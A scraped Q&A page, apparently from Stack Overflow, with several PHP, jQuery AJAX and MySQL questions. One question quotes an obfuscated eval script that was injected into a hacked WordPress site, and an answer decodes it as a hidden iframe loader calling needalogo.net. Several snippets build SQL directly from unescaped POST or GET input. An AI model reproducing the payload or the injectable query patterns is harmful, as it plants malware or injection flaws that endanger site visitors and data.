OnClick Function Get Next Record PHP AJAX MYSQL - php

I am getting stuck with an example I found on SO about this very topic.
See original article: How do I show next result in MySQL on "onclick" in JavaScript?
I followed this example to the T, with the exception of using some updated functions. Anyway, I am getting stuck on one step, was hoping someone could explain.
within the jquery below, the code is setting $number and then passing number in the POST action to the php file. My problem is is that when echo 'count', it echos "$number". I am not sure why it is not passing an actual number such as "0" rather than the string "$number". I am probably doing something seriously wrong, but not sure what is going on.
jquery
$(function(){
$('#showMore').click(function(event) {
event.preventDefault();
$number = $('.result').size();
$.ajax({
type: "POST",
url: "getNext.php",
data: "count=$number",
success: function(results){
$('#results').append(results);
}
});
});
PHP
I am passing count into a variable so that I can use it in a query, like so:
$pst = $_POST['count'];
SQL
$sql = "SELECT * FROM tablename LIMIT $pst,1";
I went ahead and captured the error I am receiving (see below) - as mentioned previously it is inserting "$number" instead of an actual number.
"Fatal error: Query Failed! SQL: SELECT * FROM tablename LIMIT $number,1
any help would be much appreciated

Try changing this line:
data: "count=$number",
To this
data: "count=" + $number,
Javascript doesn't "read" strings for variables like php does, so you need to concat the value manually.

problem is you are sending count as string which is $number in your case.
your data should be
data: {"count":$number}, //notice `"`
send it as object.
or
$data:"count=" + $number,
concate the var
i prefer data as object which is more readable.

Related

Replace complicated string in MySQL

Some script kiddie hacked my wordpress website and inserted this code into every post_content in wp_posts:
<!--844c7b74e31d727d5814a0ed667c0255--><script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(9(){2 d=3;2 4=1;2 5=1;2 t=d.a(\'b\');2 6=7.c(7.e()*f);2 0=\'g://h.i/j/k?\';0=0+\'l=\'+3.m;0=0+\'&n=\'+3.o;0=0+\'&r=\'+6;d.p(\'<8 q="s:u;v:w" 0="\'+0+\'" x="\'+4+\'" y="\'+5+\'"></8>\')})();',35,35,'src||var|document|razmw|razmh|id|Math|iframe|function|createElement|script|floor||random|9999|http|needalogo|net|rotation|3wBsvV|se_referrer|referrer|default_keyword|title|write|style||padding||0px|border|none|width|height'.split('|'),0,{}))</script>
I want to remove it by SQL query (UPDATE xxx SET replace(...)) in phpmyadmin, but I have no luck with escaping the string.
is there any way/tool to correctly escape this code and remove it from the table? thx
if the data is same and at the start of a post or at the end of the post you can use substring function to single out your data from this garbage
update table_name set column_name = SUBSTRING(column_name,garbage_length) where 1;
for more information see the manual
http://dev.mysql.com/doc/refman/5.7/en/string-functions.html#function_substring
you can use position function to point out the starting of the garbage.
http://dev.mysql.com/doc/refman/5.7/en/string-functions.html#function_position
Just looked at the code and it appears to evaluate out to:-
(function()
{
var d=document;
var razmw=1;
var razmh=1;
var t=d.createElement('script');
var id=Math.floor(Math.random()*9999);
var src='http://needalogo.net/rotation/3wBsvV?';
src=src+'se_referrer='+document.referrer;
src=src+'&default_keyword='+document.title;
src=src+'&r='+id;
d.write('<iframe style="padding:0px;
border:none" src="'+src+'" width="'+razmw+'" height="'+razmh+'"></iframe>')
}
)();
which appears to be inserting an iframe (1px x 1px) with a source returned from some web page (with a few parameters passed). The URL is blocked by my firewall.

SELECT with date field in WHERE clause fails via Ajax

A jquery builder (from http://querybuilder.js.org/ ) is used to let the user pick a date and further select data for a DataTables (datatables.net/ ) via a PHP function.
The DataTables and especially Ajax function looks like this:
var table = $(id).DataTable({
serverSide: true,
searching: true,
processing: true,,
ajax: {
url: "controllers/myAjax.php",
type: "POST",
data: result
}
});
The object passed as data is defined by queryBuilder and appended to my query string in the PHP script. To nail things down I pass the data as plain SQL (http://querybuilder.js.org/plugins.html#import-export). In my problem test case this is:
WHERE birthdate < '1990-01-01'
This would result in the SELECT query:
SELECT * from table_1 WHERE birthdate < '1990-01-01'
This query throws a MySQL error:
"[...] check the manual that corresponds to your MySQL
server version for the right syntax to use near '\'1990-01-01\' "
Obviously the date doesn't get escaped correctly. But when I enter exactly this query to my MySQL workbench, the server executes and returns a correct set of results. Even more, the workbench doesn't care if I use single quote (') or double quote (").
Further, I tried to manually remove those escape chars using PHP str_replace. The function then returns values, but obviously interpreted as int and breaking other queries (like equal ID). Same goes for msqli.real-escape-string (http://php.net/manual/de/mysqli.real-escape-string.php).
Another approach I tried was to change the dataType of the Ajax function a little bit - but basically I am sending form-encoded data, so the default type for this should be fine?
So why does (only) the date field get escaped in a wrong manner? Is there any rather quick fix for this, before I have to write my own PHP functions for accessing the DB?

Using an array in SQL IN

Two part question...(note that I'm using a PostGres)
My SQL query is formatted like this:
$.ajax({
url: "https://something?q=SELECT *database_final_form_merge where territory in ("+terrs+")",
type: 'GET',
dataType: 'JSON',
success: function(data) {
}
});
The variable terrs is an array like this:
["D1VE3011", "D1VE3011", "D1VD2209", "D1VD2209", "D1VD2103", "D1VD2103"]
This formats the SQL query like this though:
SELECT* from database_final_form_merge where territory IN (D1VE3011,D1VE3011,D1VD2209,D1VD2209,D1VD2103,D1VD2103)
But it needs to be in this format (I think):
SELECT* from database_final_form_merge where territory IN ('D1VE3011','D1VE3011','D1VD2209','D1VD2209','D1VD2103','D1VD2103')
This works when I try it directly without an AJAX GET. Is there a different way I should be passing this array?
That's question 1.
Question 2...is there a way to pass that array so that only unique values are passed? You'll note that in my array there are duplicates, but wondering if there's a way to only pass along unique values.
Thanks.
Let's put passing query as a parameter aside and get into the problem.
For the question 2 you can use
jQuery.unique
And for the former question:
"('" + terrs.join("','") + "')" generates ('D1VE3011','D1VE3011','D1VD2209','D1VD2209','D1VD2103','D1VD2103') part.
Mind the white spaces though. You might end up with string like this
'(' D1VD2209',' D1VD2103','D1VD2103 ')
*EDITED accordingly

Using data passed to PHP via .load() to execute database query

I am trying to get an AJAX query to work. Im passing data to a PHP script using:
$(".example").click(function(){
x = this.innerHTML;
$("#example").load("ajax.php",{"data":x});
});
If ajax.php just includes the following (did this as a test), everything is fine; I've passed JS data successfully to PHP.
echo $_POST['data'];
My goal is to query my DB using $_POST['data'] though. As another test, I made sure the DB connection was all ok. The following works:
$example = $dbc->prepare("SELECT x, y, z, a FROM clue WHERE userID=?");
$example->bind_param('s',$_SESSION['user_id']);
$example->execute();
$example->bind_result($x,$y,$z,$a);
while($example->fetch()){
echo '<h3>'.$x.'</h3>';
echo '<p>'.$y.'</p>';
echo '<p>'.$z.'</p>';
echo '<p>'.$a.'</p>';
}
When I amend the below lines however, nothing is returned from the script.
$example = $dbc->prepare("SELECT x, y, z, a FROM clue WHERE userID=? AND a=?");
$example->bind_param('ss',$_SESSION['user_id'],$_POST['data']);
The puzzling thing is that the data being passed from JS initially was obtained from the database. When I use alerts, the words are exactly the same as my my DB record.
Any suggestions? Could this be something to do with datatype? do I need to make sure $_POST['data'] is converted to a string somehow?
When I look in firebug, I see the following POST details ('Test Title' is the data used in my query)
Parameters
data Test Title
Source
data=+Test+Title
Do the + signs represent spaces? perhaps I need to trim a space from beginning of data?
This was due to white space. Fixed with the following:
$(".example").click(function(){
y = this.innerHTML;
x = y.trim();
$("#example").load("ajax.php",{"data":x});
});

Speeding up jquery autocomplete with php list

Hi I have run into an issue. I have implemented jquerys famous autocomplete and I am creating a list (quite long) from the database to output into the autocomplete feild. But it is taking too long to find the correct value in list. Does anyone know a way I can speed this up??? Here is my jquery:
<script>
$(function() {function log( message ) {$( "#destId" ).val( message );}
$( "#destinations" ).autocomplete({
source: "destinos.php",
minLength: 2,
select: function( event, ui ) {
log( ui.item ?
"" + ui.item.id :
"" + this.value );}});});
</script>
And here is destinos.php:
//connect to database
include 'php/dbconn.php';
$term = trim(strip_tags($_GET['term']));//retrieve the search term that autocomplete sends
$qstring = "SELECT Destination as value, DestinationId as id FROM DestinationId WHERE Destination LIKE '%".$term."%'";
//query the database for entries containing the term
$result = mysql_query($qstring);
//loop through the retrieved values
while ($row = mysql_fetch_array($result,MYSQL_ASSOC))
{
$row['value']=htmlentities(stripslashes($row['value']));
$row['id']=htmlentities(stripslashes($row['id']));
$row_set[] = $row;//build an array
}
echo json_encode($row_set);//format the array into json data
Any help would be greatly greatly appreciated!
You most likely need to speed up your database query. You'll have to do a couple of things to do that.
Make sure your Destination field has an index on it.
Unless you absolutely must match from the middle of the string, drop the leading % from your LIKE query to enable the index to be used. MySQL cannot effectively use the index with the leading wildcard.
If you must leave the leading % then set minLength to 3 in your jQuery. This will allow MySQL to use an optimizing algorithm on the pattern.
Source: http://dev.mysql.com/doc/refman/5.0/en/mysql-indexes.html
I would start off looking at the DB aspects.
First, you need to make sure you have an index on Destination.
Second, you ought to consider using a LIMIT, say 10 or 20 rows. In an autocomplete, in most cases you don't need that many results to display at one time. The match count will decrease as the user continues typing fairly quickly.
Third, you should use proper mysql escape on $term variable before querying with it.
The rest looks pretty straightforward.

Categories